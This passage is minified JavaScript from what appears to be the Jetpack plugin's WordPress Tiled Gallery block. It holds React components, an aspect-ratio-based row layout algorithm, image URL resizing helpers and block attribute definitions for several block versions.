n=s.split(&quot;?&quot;,1)[0],o=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(s)?m:a.A,{layoutStyle:l}=this.props;if(h(l)&amp;&amp;t&amp;&amp;e){const s=Math.min(i.rK,t,e);return o(n,{resize:`${s},${s}`})}return o(n)}renderImage(e,t){const{images:s,linkTo:r,selectedImage:n}=this.props,a=(0,o.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__(&quot;image %1$d of %2$d in gallery&quot;,&quot;jetpack&quot;),t+1,s.length);return(0,d.jsx)(l.A,{alt:e.alt,&quot;aria-label&quot;:a,height:e.height,id:e.id,origUrl:e.url,isSelected:n===t,link:e.link,linkTo:r,url:this.photonize(e),width:e.width},t)}render(){const{align:e,children:t,className:s,columns:r,images:n,layoutStyle:o}=this.props,a=h(o)?u.A:c.A,i=this.props.images.map(this.renderImage,this);return(0,d.jsxs)(&quot;div&quot;,{className:s,children:[(0,d.jsx)(a,{align:e,columns:r,images:n,layoutStyle:o,renderedImages:i}),t]})}}function h(e){return[&quot;circle&quot;,&quot;square&quot;].includes(e)}function m(e,t={}){const s={width:&quot;w&quot;,height:&quot;h&quot;,letterboxing:&quot;lb&quot;,removeLetterboxing:&quot;ulb&quot;},r=Object.assign(new URL(e,window.location.href),{username:&quot;&quot;,password:&quot;&quot;,port:&quot;&quot;,search:&quot;&quot;,hash:&quot;&quot;});for(const[e,n]of Object.entries(t))r.searchParams.set(Object.hasOwn(s,e)?s[e]:e,n);return r.toString()}},58070(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(86087),n=s(94107),o=s(29971),a=s(75303),i=s(56237),l=s(34896),c=s(5236),u=s(10790);class d extends r.Component{gallery=(0,r.createRef)();pendingRaf=null;ro=null;componentDidMount(){this.observeResize()}componentWillUnmount(){this.unobserveResize()}componentDidUpdate(e){(e.images!==this.props.images||e.align!==this.props.align||&quot;columns&quot;===this.props.layoutStyle&amp;&amp;e.columns!==this.props.columns)&amp;&amp;this.triggerResize()}handleGalleryResize=e=&gt;{this.pendingRaf&amp;&amp;(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null),this.pendingRaf=requestAnimationFrame(()=&gt;{for(const{contentRect:t,target:s}of e){const{width:e}=t;(0,c.S)(s).forEach(t=&gt;(0,c.r)(t,e))}})};triggerResize(){this.gallery.current&amp;&amp;this.handleGalleryResize([{target:this.gallery.current,contentRect:{width:this.gallery.current.clientWidth}}])}observeResize(){this.triggerResize(),this.ro=new n.A(this.handleGalleryResize),this.gallery.current&amp;&amp;this.ro.observe(this.gallery.current)}unobserveResize(){this.ro&amp;&amp;(this.ro.disconnect(),this.ro=null),this.pendingRaf&amp;&amp;(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null)}render(){const{align:e,columns:t,images:s,layoutStyle:r,renderedImages:n}=this.props,c=(0,l.mJ)(s),d=&quot;columns&quot;===r?(0,l.FL)(c,t):(0,l.VU)(c,{isWide:[&quot;full&quot;,&quot;wide&quot;].includes(e)});let p=0;return(0,u.jsx)(a.A,{galleryRef:this.gallery,children:d.map((e,t)=&gt;(0,u.jsx)(i.A,{children:e.map((e,t)=&gt;{const s=n.slice(p,p+e);return p+=e,(0,u.jsx)(o.A,{children:s},t)})},t))})}}},34896(e,t,s){&quot;use strict&quot;;s.d(t,{FL:()=&gt;a,VU:()=&gt;C,mJ:()=&gt;n});var r=s(66087);function n(e){return e.map(o)}function o({height:e,width:t}){return e&amp;&amp;t?t/e:1}function a(e,t){if(e.length&lt;=t)return[Array(e.length).fill(1)];const s=(0,r.sum)(e)/t,n=[];let o=e,a=0;for(let e=0;e&lt;t-1;e++){const t=(0,r.takeWhile)(o,t=&gt;{const r=a&lt;=(e+1)*s;return r&amp;&amp;(a+=t),r}).length;n.push(t),o=o.slice(t)}return n.push(o.length),[n]}const i=A([2,1,2],5),l=S([E,E,N,E,E]),c=S([E,E,E,N,E,E,E]),u=A([3,1,3],5),d=S([N,E,E,N]),p=A([1,2,1],5),h=S([N,E,E,E]),m=A([1,3],3),g=S([E,E,E,N]),f=A([3,1],3),b=S([B(1.6),(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2))]),v=A([1,2],3),k=A([1,1,1,1,1],1),y=A([1,1,1,1],1),x=A([1,1,1],3),j=S([(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2)),B(1.6)]),w=A([2,1],3),_=S([function(e){return e&gt;=2}]);function C(e,{isWide:t}={}){const s=(e,n)=&gt;{if(!n.length)return e;let o;o=n.length&gt;15&amp;&amp;l(n)&amp;&amp;i(e)?[2,1,2]:n.length&gt;15&amp;&amp;c(n)&amp;&amp;u(e)?[3,1,3]:5!==n.length&amp;&amp;d(n)&amp;&amp;p(e)?[1,2,1]:h(n)&amp;&amp;m(e)?[1,3]:g(n)&amp;&amp;f(e)?[3,1]:b(n)&amp;&amp;v(e)?[1,2]:t&amp;&amp;(5===n.length||10!==n.length&amp;&amp;n.length&gt;6)&amp;&amp;k(e)&amp;&amp;(0,r.sum)(n.slice(0,5))&lt;5?[1,1,1,1,1]:function(e,t){const s=(0,r.sum)(t.slice(0,4));return y(e)&amp;&amp;s&lt;3.5&amp;&amp;t.length&gt;5||s&lt;7&amp;&amp;4===t.length}(e,n)?[1,1,1,1]:function(e,t,s){const n=(0,r.sum)(t.slice(0,3));return t.length&gt;=3&amp;&amp;4!==t.length&amp;&amp;6!==t.length&amp;&amp;x(e)&amp;&amp;(n&lt;2.5||n&lt;5&amp;&amp;t.length&gt;=3&amp;&amp;t[0]===t[2]||s)}(e,n,t)?[1,1,1]:j(n)&amp;&amp;w(e)?[2,1]:_(n)?[1]:n.length&gt;3?[1,1]:Array(n.length).fill(1);const a=e.concat([o]),C=(0,r.sum)(o),A=n.slice(C);return s(a,A)};return s([],e)}function A(e,t){return s=&gt;!s.slice(-t).some(t=&gt;(0,r.isEqual)(t,e))}function S(e){return t=&gt;t.length&gt;=e.length&amp;&amp;(0,r.zipWith)(e,t.slice(0,e.length),(e,t)=&gt;e(t)).every(Boolean)}function E(e){return e&gt;=1&amp;&amp;e&lt;2}function N(e){return e&lt;1}function T(e){return t=&gt;t&gt;=e}function B(e){return t=&gt;t&lt;e}},5236(e,t,s){&quot;use strict&quot;;s.d(t,{S:()=&gt;a,r:()=&gt;o});var r=s(70263);function n(e,t){const s=(t-e.reduce((e,t)=&gt;e+t,0))/e.length;return e.map(e=&gt;e+s)}function o(e,t){!function(e,[t,s],o){const a=1/t*(o-r.hE*(e.childElementCount-1)-s);!function(e,{rawHeight:t,rowWidth:s}){const o=i(e),a=o.map(e=&gt;(t-r.hE*(e.childElementCount-1))*c(e)[0]),d=n(a,s);o.forEach((e,s)=&gt;{const o=a[s],i=d[s];!function(e,{colHeight:t,width:s,rawWidth:r}){const o=l(e).map(e=&gt;r/u(e)),a=n(o,t);Array.from(e.children).forEach((e,t)=&gt;{const r=a[t];e.setAttribute(&quot;style&quot;,`height:${r}px;width:${s}px;`)})}(e,{colHeight:t-r.hE*(e.childElementCount-1),width:i,rawWidth:o})})}(e,{rawHeight:a,rowWidth:o-r.hE*(e.childElementCount-1)})}(e,function(e){const t=i(e).map(c).reduce(([e,t],[s,r])=&gt;[e+s,t+r],[0,0]);return t}(e),t)}function a(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__row&quot;))}function i(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__col&quot;))}function l(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__item &gt; img, .tiled-gallery__item &gt; a &gt; img&quot;))}function c(e){const t=l(e),s=t.length,r=1/t.map(u).reduce((e,t)=&gt;e+1/t,0);return[r,r*s||1]}function u(e){const t=parseInt(e.dataset.width,10),s=parseInt(e.dataset.height,10);return t&amp;&amp;!Number.isNaN(t)&amp;&amp;s&amp;&amp;!Number.isNaN(s)?t/s:1}},56237(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(10790);function o({children:e,className:t}){return(0,n.jsx)(&quot;div&quot;,{className:(0,r.A)(&quot;tiled-gallery__row&quot;,t),children:e})}},45726(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(66087),n=s(70263),o=s(29971),a=s(75303),i=s(56237),l=s(10790);function c({columns:e,renderedImages:t}){const s=Math.min(n.ZS,e),c=t.length%s;return(0,l.jsx)(a.A,{children:[...c?[t.slice(0,c)]:[],...(0,r.chunk)(t.slice(c),s)].map((e,t)=&gt;(0,l.jsx)(i.A,{className:`columns-${e.length}`,children:e.map((e,t)=&gt;(0,l.jsx)(o.A,{children:e},t))},t))})}},39805(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(90907),n=s(70263),o=s(5525),a=s(10790);function i(e){return Math.min(3,e.images.length)}function l({attributes:e}){const{images:t}=e;if(!t.length)return null;const{align:s,className:l,columns:c=i(e),linkTo:u}=e;return(0,a.jsx)(o.A,{align:s,className:l,columns:c,images:t,layoutStyle:(0,r.D)(n.kc,l),linkTo:u})}},43566(e,t,s){&quot;use strict&quot;;s.d(t,{T$:()=&gt;i,WN:()=&gt;n,ZS:()=&gt;r,aQ:()=&gt;a,kc:()=&gt;l,rK:()=&gt;o});const r=20,n=20,o=2e3,a=&quot;circle&quot;,i=&quot;rectangular&quot;,l=[{isDefault:!0,name:i},{name:a},{name:&quot;square&quot;},{name:&quot;columns&quot;}]},13913(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(63162),n=s(13022),o=s(10790);function a(e){const{alt:t,imageFilter:s,height:a,id:i,link:l,linkTo:c,origUrl:u,url:d,width:p}=e;if((0,r.isBlobURL)(u))return null;let h;switch(c){case&quot;media&quot;:h=d;break;case&quot;attachment&quot;:h=l}const m=(0,o.jsx)(&quot;img&quot;,{alt:t,&quot;data-height&quot;:a,&quot;data-id&quot;:i,&quot;data-link&quot;:l,&quot;data-url&quot;:u,&quot;data-width&quot;:p,src:d});return(0,o.jsx)(&quot;figure&quot;,{className:(0,n.A)(&quot;tiled-gallery__item&quot;,{[`filter__${s}`]:!!s}),children:h?(0,o.jsx)(&quot;a&quot;,{href:h,children:m}):m})}},72203(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;o,save:()=&gt;n.A,supports:()=&gt;a});var r=s(43566),n=s(14294);const o={align:{default:&quot;center&quot;,type:&quot;string&quot;},className:{default:`is-style-${r.T$}`,type:&quot;string&quot;},columns:{type:&quot;number&quot;},ids:{default:[],type:&quot;array&quot;},imageFilter:{type:&quot;string&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.tiled-gallery__item&quot;,query:{alt:{attribute:&quot;alt&quot;,default:&quot;&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},height:{attribute:&quot;data-height&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;},id:{attribute:&quot;data-id&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},link:{attribute:&quot;data-link&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},url:{attribute:&quot;data-url&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},width:{attribute:&quot;data-width&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;}}},linkTo:{default:&quot;none&quot;,type:&quot;string&quot;},roundedCorners:{type:&quot;integer&quot;,default:0}},a={align:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;],customClassName:!1,html:!1}},84394(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__col&quot;,children:e})}},38548(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,galleryRef:t}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__gallery&quot;,ref:t,children:e})}},65378(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(86087),n=s(27723),o=s(13022),a=s(43566),i=s(13913),l=s(24549),c=s(84255),u=s(51475),d=s(10790);const __=n.__;class p extends r.Component{renderImage(e,t){const{columns:s,imageFilter:r,images:o,linkTo:a,layoutStyle:c,selectedImage:u}=this.props,p=(0,n.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__(&quot;image %1$d of %2$d in gallery&quot;,&quot;jetpack&quot;),t+1,o.length),{src:h,srcSet:m}=(0,l.A)(e,{layoutStyle:c});return(0,d.jsx)(i.A,{alt:e.alt,&quot;aria-label&quot;:p,columns:s,height:e.height,id:e.id,imageFilter:r,isFirstItem:0===t,isLastItem:t+1===o.length,isSelected:u===t,link:e.link,linkTo:a,origUrl:e.url,showMovers:o.length&gt;1,srcSet:m,url:h,width:e.width},t)}render(){const{align:e,children:t,className:s,columns:r,images:n,layoutStyle:i,roundedCorners:p}=this.props,h=(0,l.s)(i)?u.A:c.A,m=this.props.images.map(this.renderImage,this),g=i!==a.aQ?Math.min(p,a.WN):0;return(0,d.jsxs)(&quot;div&quot;,{className:(0,o.A)(s,{[`has-rounded-corners-${g}`]:g&gt;0}),children:[(0,d.jsx)(h,{align:e,columns:r,images:n,layoutStyle:i,renderedImages:m}),t]})}}},84255(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(86087),n=s(84394),o=s(38548),a=s(70954),i=s(89195),l=s(10790);class c extends r.Component{gallery=(0,r.createRef)();pendingRaf=null;render(){const{align:e,columns:t,images:s,layoutStyle:r,renderedImages:c}=this.props,u=(0,i.mJ)(s),d=&quot;columns&quot;===r?(0,i.FL)(u,t):(0,i.VU)(u,{isWide:[&quot;full&quot;,&quot;wide&quot;].includes(e)});let p=0;return(0,l.jsx)(o.A,{galleryRef:this.gallery,children:d.map((e,t)=&gt;(0,l.jsx)(a.A,{children:e.map((e,t)=&gt;{const s=c.slice(p,p+e);return p+=e,(0,l.jsx)(n.A,{children:s},t)})},t))})}}},89195(e,t,s){&quot;use strict&quot;;s.d(t,{FL:()=&gt;a,VU:()=&gt;C,mJ:()=&gt;n});var r=s(66087);function n(e){return e.map(o)}function o({height:e,width:t}){return e&amp;&amp;t?t/e:1}function a(e,t){if(e.length&lt;=t)return[Array(e.length).fill(1)];const s=(0,r.sum)(e)/t,n=[];let o=e,a=0;for(let e=0;e&lt;t-1;e++){const t=(0,r.takeWhile)(o,t=&gt;{const r=a&lt;=(e+1)*s;return r&amp;&amp;(a+=t),r}).length;n.push(t),o=o.slice(t)}return n.push(o.length),[n]}const i=A([2,1,2],5),l=S([E,E,N,E,E]),c=S([E,E,E,N,E,E,E]),u=A([3,1,3],5),d=S([N,E,E,N]),p=A([1,2,1],5),h=S([N,E,E,E]),m=A([1,3],3),g=S([E,E,E,N]),f=A([3,1],3),b=S([B(1.6),(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2))]),v=A([1,2],3),k=A([1,1,1,1,1],1),y=A([1,1,1,1],1),x=A([1,1,1],3),j=S([(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2)),B(1.6)]),w=A([2,1],3),_=S([function(e){return e&gt;=2}]);function C(e,{isWide:t}={}){const s=(e,n)=&gt;{if(!n.length)return e;let o;o=n.length&gt;15&amp;&amp;l(n)&amp;&amp;i(e)?[2,1,2]:n.length&gt;15&amp;&amp;c(n)&amp;&amp;u(e)?[3,1,3]:5!==n.length&amp;&amp;d(n)&amp;&amp;p(e)?[1,2,1]:h(n)&amp;&amp;m(e)?[1,3]:g(n)&amp;&amp;f(e)?[3,1]:b(n)&amp;&amp;v(e)?[1,2]:t&amp;&amp;(5===n.length||10!==n.length&amp;&amp;n.length&gt;6)&amp;&amp;k(e)&amp;&amp;(0,r.sum)(n.slice(0,5))&lt;5?[1,1,1,1,1]:function(e,t){const s=(0,r.sum)(t.slice(0,4));return y(e)&amp;&amp;s&lt;3.5&amp;&amp;t.length&gt;5||s&lt;7&amp;&amp;4===t.length}(e,n)?[1,1,1,1]:function(e,t,s){const n=(0,r.sum)(t.slice(0,3));return t.length&gt;=3&amp;&amp;4!==t.length&amp;&amp;6!==t.length&amp;&amp;x(e)&amp;&amp;(n&lt;2.5||n&lt;5&amp;&amp;t.length&gt;=3&amp;&amp;t[0]===t[2]||s)}(e,n,t)?[1,1,1]:j(n)&amp;&amp;w(e)?[2,1]:_(n)?[1]:n.length&gt;3?[1,1]:Array(n.length).fill(1);const a=e.concat([o]),C=(0,r.sum)(o),A=n.slice(C);return s(a,A)};return s([],e)}function A(e,t){return s=&gt;!s.slice(-t).some(t=&gt;(0,r.isEqual)(t,e))}function S(e){return t=&gt;t.length&gt;=e.length&amp;&amp;(0,r.zipWith)(e,t.slice(0,e.length),(e,t)=&gt;e(t)).every(Boolean)}function E(e){return e&gt;=1&amp;&amp;e&lt;2}function N(e){return e&lt;1}function T(e){return t=&gt;t&gt;=e}function B(e){return t=&gt;t&lt;e}},70954(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(10790);function o({children:e,className:t}){return(0,n.jsx)(&quot;div&quot;,{className:(0,r.A)(&quot;tiled-gallery__row&quot;,t),children:e})}},51475(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(66087),n=s(43566),o=s(84394),a=s(38548),i=s(70954),l=s(10790);function c({columns:e,renderedImages:t}){const s=Math.min(n.ZS,e),c=t.length%s;return(0,l.jsx)(a.A,{children:[...c?[t.slice(0,c)]:[],...(0,r.chunk)(t.slice(c),s)].map((e,t)=&gt;(0,l.jsx)(i.A,{className:`columns-${e.length}`,children:e.map((e,t)=&gt;(0,l.jsx)(o.A,{children:e},t))},t))})}},14294(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(90907),n=s(43566),o=s(65378),a=s(10790);function i(e){return Math.min(3,e.images.length)}function l({attributes:e}){const{imageFilter:t,images:s}=e;if(!s.length)return null;const{align:l,className:c,columns:u=i(e),linkTo:d,roundedCorners:p}=e;return(0,a.jsx)(o.A,{align:l,className:c,columns:u,imageFilter:t,images:s,isSave:!0,layoutStyle:(0,r.D)(n.kc,c),linkTo:d,roundedCorners:p})}},24549(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i,s:()=&gt;a});var r=s(63162),n=s(14936),o=s(43566);function a(e){return[&quot;circle&quot;,&quot;square&quot;].includes(e)}function i(e,t={}){if(!e.height||!e.url||!e.width)return{};if((0,r.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url))return{src:e.url};const s=e.url.split(&quot;?&quot;,1)[0],{height:i,width:c}=e,{layoutStyle:u}=t,d=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(s)||!0===function(){if(&quot;undefined&quot;!=typeof jetpack_plan&amp;&amp;&quot;vip&quot;===jetpack_plan.data)return!0}()?l:n.A;let p;if(a(u)&amp;&amp;c&amp;&amp;i){const e=Math.min(o.rK,c,i);p=d(s,{resize:`${e},${e}`})}else p=d(s);let h=[];if(a(u)){const e=Math.min(600,c,i),t=Math.min(o.rK,c,i);for(let r=e;r&lt;t;r+=300){const e=d(s,{resize:`${r},${r}`,strip:&quot;info&quot;});e&amp;&amp;h.push(`${e} ${r}w`)}}else{const e=Math.min(600,c),t=Math.min(o.rK,c);for(let r=e;r&lt;t;r+=300){const e=d(s,{strip:&quot;info&quot;,width:r});e&amp;&amp;h.push(`${e} ${r}w`)}}return h=h.join(&quot;,&quot;),Object.assign({src:p},h&amp;&amp;{srcSet:h})}function l(e,t={}){const s={width:&quot;w&quot;,height:&quot;h&quot;,letterboxing:&quot;lb&quot;,removeLetterboxing:&quot;ulb&quot;},r=Object.assign(new URL(e,window.location.href),{username:&quot;&quot;,password:&quot;&quot;,port:&quot;&quot;,search:&quot;&quot;,hash:&quot;&quot;});for(const[e,n]of Object.entries(t))r.searchParams.set(Object.hasOwn(s,e)?s[e]:e,n);return r.toString()}},60041(e,t,s){&quot;use strict&quot;;s.d(t,{T$:()=&gt;i,WN:()=&gt;n,ZS:()=&gt;r,aQ:()=&gt;a,kc:()=&gt;l,rK:()=&gt;o});const r=20,n=20,o=2e3,a=&quot;circle&quot;,i=&quot;rectangular&quot;,l=[{isDefault:!0,name:i},{name:a},{name:&quot;square&quot;},{name:&quot;columns&quot;}]},64300(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(63162),n=s(13022),o=s(10790);function a(e){const{alt:t,imageFilter:s,height:a,id:i,link:l,linkTo:c,origUrl:u,url:d,width:p}=e;if((0,r.isBlobURL)(u))return null;let h;switch(c){case&quot;media&quot;:h=d;break;case&quot;attachment&quot;:h=l}const m=(0,o.jsx)(&quot;img&quot;,{alt:t,&quot;data-height&quot;:a,&quot;data-id&quot;:i,&quot;data-link&quot;:l,&quot;data-url&quot;:u,&quot;data-width&quot;:p,src:d});return(0,o.jsx)(&quot;figure&quot;,{className:(0,n.A)(&quot;tiled-gallery__item&quot;,{[`filter__${s}`]:!!s}),children:h?(0,o.jsx)(&quot;a&quot;,{href:h,children:m}):m})}},52516(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;o,migrate:()=&gt;i,save:()=&gt;n.A,supports:()=&gt;a});var r=s(60041),n=s(28635);const o={align:{default:&quot;center&quot;,type:&quot;string&quot;},className:{default:`is-style-${r.T$}`,type:&quot;string&quot;},columns:{type:&quot;number&quot;},columnWidths:{default:[],type:&quot;array&quot;},ids:{default:[],type:&quot;array&quot;},imageFilter:{type:&quot;string&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.tiled-gallery__item&quot;,query:{alt:{attribute:&quot;alt&quot;,default:&quot;&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},height:{attribute:&quot;data-height&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;},id:{attribute:&quot;data-id&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},link:{attribute:&quot;data-link&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},url:{attribute:&quot;data-url&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},width:{attribute:&quot;data-width&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;}}},linkTo:{default:&quot;none&quot;,type:&quot;string&quot;},roundedCorners:{type:&quot;integer&quot;,default:0}},a={align:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;],customClassName:!1,html:!1},i=e=&gt;{const t=Math.pow(10,5);return{...e,columnWidths:e.columnWidths.map(e=&gt;e.map(e=&gt;Math.round(e*t)/t))}}},54001(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,width:t}){const s=Math.pow(10,12),n=Math.round(t*s)/s,o=t?{flexBasis:`${n}%`}:void 0;return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__col&quot;,style:o,children:e})}},99309(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,galleryRef:t}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__gallery&quot;,ref:t,children:e})}},77511(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(86087),n=s(27723),o=s(13022),a=s(60041),i=s(64300),l=s(13014),c=s(56420),u=s(65216),d=s(10790);const __=n.__;class p extends r.Component{renderImage(e,t){const{columns:s,imageFilter:r,images:o,isSave:a,linkTo:c,layoutStyle:u,onMoveBackward:p,onMoveForward:h,onRemoveImage:m,onSelectImage:g,selectedImage:f,setImageAttributes:b}=this.props,v=(0,n.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__(&quot;image %1$d of %2$d in gallery&quot;,&quot;jetpack&quot;),t+1,o.length),{src:k,srcSet:y}=(0,l.A)(e,{layoutStyle:u});return(0,d.jsx)(i.A,{alt:e.alt,&quot;aria-label&quot;:v,columns:s,height:e.height,id:e.id,imageFilter:r,isFirstItem:0===t,isLastItem:t+1===o.length,isSelected:f===t,link:e.link,linkTo:c,onMoveBackward:a?void 0:p(t),onMoveForward:a?void 0:h(t),onRemove:a?void 0:m(t),onSelect:a?void 0:g(t),origUrl:e.url,setAttributes:a?void 0:b(t),showMovers:o.length&gt;1,srcSet:y,url:k,width:e.width},t)}render(){const{align:e,children:t,className:s,columns:r,images:n,layoutStyle:i,roundedCorners:p,onResize:h,isSave:m,columnWidths:g}=this.props,f=(0,l.s)(i)?u.A:c.A,b=this.props.images.map(this.renderImage,this),v=i!==a.aQ?Math.min(p,a.WN):0;return(0,d.jsxs)(&quot;div&quot;,{className:(0,o.A)(s,{[`has-rounded-corners-${v}`]:v&gt;0}),children:[(0,d.jsx)(f,{align:e,columns:r,columnWidths:m?g:void 0,images:n,layoutStyle:i,renderedImages:b,onResize:m?void 0:h}),t]})}}},56420(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(86087),n=s(54001),o=s(99309),a=s(46479),i=s(70394),l=s(10790);class c extends r.Component{gallery=(0,r.createRef)();pendingRaf=null;render(){const{align:e,columns:t,images:s,layoutStyle:r,renderedImages:c,columnWidths:u}=this.props,d=(0,i.mJ)(s),p=&quot;columns&quot;===r?(0,i.FL)(d,t):(0,i.VU)(d,{isWide:[&quot;full&quot;,&quot;wide&quot;].includes(e)});let h=0;return(0,l.jsx)(o.A,{galleryRef:this.gallery,children:p.map((e,t)=&gt;(0,l.jsx)(a.A,{children:e.map((e,s)=&gt;{const r=c.slice(h,h+e);return h+=e,(0,l.jsx)(n.A,{width:u?.[t]?.[s],children:r},s)})},t))})}}},70394(e,t,s){&quot;use strict&quot;;s.d(t,{FL:()=&gt;a,VU:()=&gt;C,mJ:()=&gt;n});var r=s(66087);function n(e){return e.map(o)}function o({height:e,width:t}){return e&amp;&amp;t?t/e:1}function a(e,t){if(e.length&lt;=t)return[Array(e.length).fill(1)];const s=(0,r.sum)(e)/t,n=[];let o=e,a=0;for(let e=0;e&lt;t-1;e++){const t=(0,r.takeWhile)(o,t=&gt;{const r=a&lt;=(e+1)*s;return r&amp;&amp;(a+=t),r}).length;n.push(t),o=o.slice(t)}return n.push(o.length),[n]}const i=A([2,1,2],5),l=S([E,E,N,E,E]),c=S([E,E,E,N,E,E,E]),u=A([3,1,3],5),d=S([N,E,E,N]),p=A([1,2,1],5),h=S([N,E,E,E]),m=A([1,3],3),g=S([E,E,E,N]),f=A([3,1],3),b=S([B(1.6),(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2))]),v=A([1,2],3),k=A([1,1,1,1,1],1),y=A([1,1,1,1],1),x=A([1,1,1],3),j=S([(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2)),B(1.6)]),w=A([2,1],3),_=S([function(e){return e&gt;=2}]);function C(e,{isWide:t}={}){const s=(e,n)=&gt;{if(!n.length)return e;let o;o=n.length&gt;15&amp;&amp;l(n)&amp;&amp;i(e)?[2,1,2]:n.length&gt;15&amp;&amp;c(n)&amp;&amp;u(e)?[3,1,3]:5!==n.length&amp;&amp;d(n)&amp;&amp;p(e)?[1,2,1]:h(n)&amp;&amp;m(e)?[1,3]:g(n)&amp;&amp;f(e)?[3,1]:b(n)&amp;&amp;v(e)?[1,2]:t&amp;&amp;(5===n.length||10!==n.length&amp;&amp;n.length&gt;6)&amp;&amp;k(e)&amp;&amp;(0,r.sum)(n.slice(0,5))&lt;5?[1,1,1,1,1]:function(e,t){const s=(0,r.sum)(t.slice(0,4));return y(e)&amp;&amp;s&lt;3.5&amp;&amp;t.length&gt;5||s&lt;7&amp;&amp;4===t.length}(e,n)?[1,1,1,1]:function(e,t,s){const n=(0,r.sum)(t.slice(0,3));return t.length&gt;=3&amp;&amp;4!==t.length&amp;&amp;6!==t.length&amp;&amp;x(e)&amp;&amp;(n&lt;2.5||n&lt;5&amp;&amp;t.length&gt;=3&amp;&amp;t[0]===t[2]||s)}(e,n,t)?[1,1,1]:j(n)&amp;&amp;w(e)?[2,1]:_(n)?[1]:n.length&gt;3?[1,1]:Array(n.length).fill(1);const a=e.concat([o]),C=(0,r.sum)(o),A=n.slice(C);return s(a,A)};return s([],e)}function A(e,t){return s=&gt;!s.slice(-t).some(t=&gt;(0,r.isEqual)(t,e))}function S(e){return t=&gt;t.length&gt;=e.length&amp;&amp;(0,r.zipWith)(e,t.slice(0,e.length),(e,t)=&gt;e(t)).every(Boolean)}function E(e){return e&gt;=1&amp;&amp;e&lt;2}function N(e){return e&lt;1}function T(e){return t=&gt;t&gt;=e}function B(e){return t=&gt;t&lt;e}},46479(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(10790);function o({children:e,className:t}){return(0,n.jsx)(&quot;div&quot;,{className:(0,r.A)(&quot;tiled-gallery__row&quot;,t),children:e})}},65216(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(66087),n=s(60041),o=s(54001),a=s(99309),i=s(46479),l=s(10790);function c({columns:e,renderedImages:t}){const s=Math.min(n.ZS,e),c=t.length%s;return(0,l.jsx)(a.A,{children:[...c?[t.slice(0,c)]:[],...(0,r.chunk)(t.slice(c),s)].map((e,t)=&gt;(0,l.jsx)(i.A,{className:`columns-${e.length}`,children:e.map((e,t)=&gt;(0,l.jsx)(o.A,{children:e},t))},t))})}},28635(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var 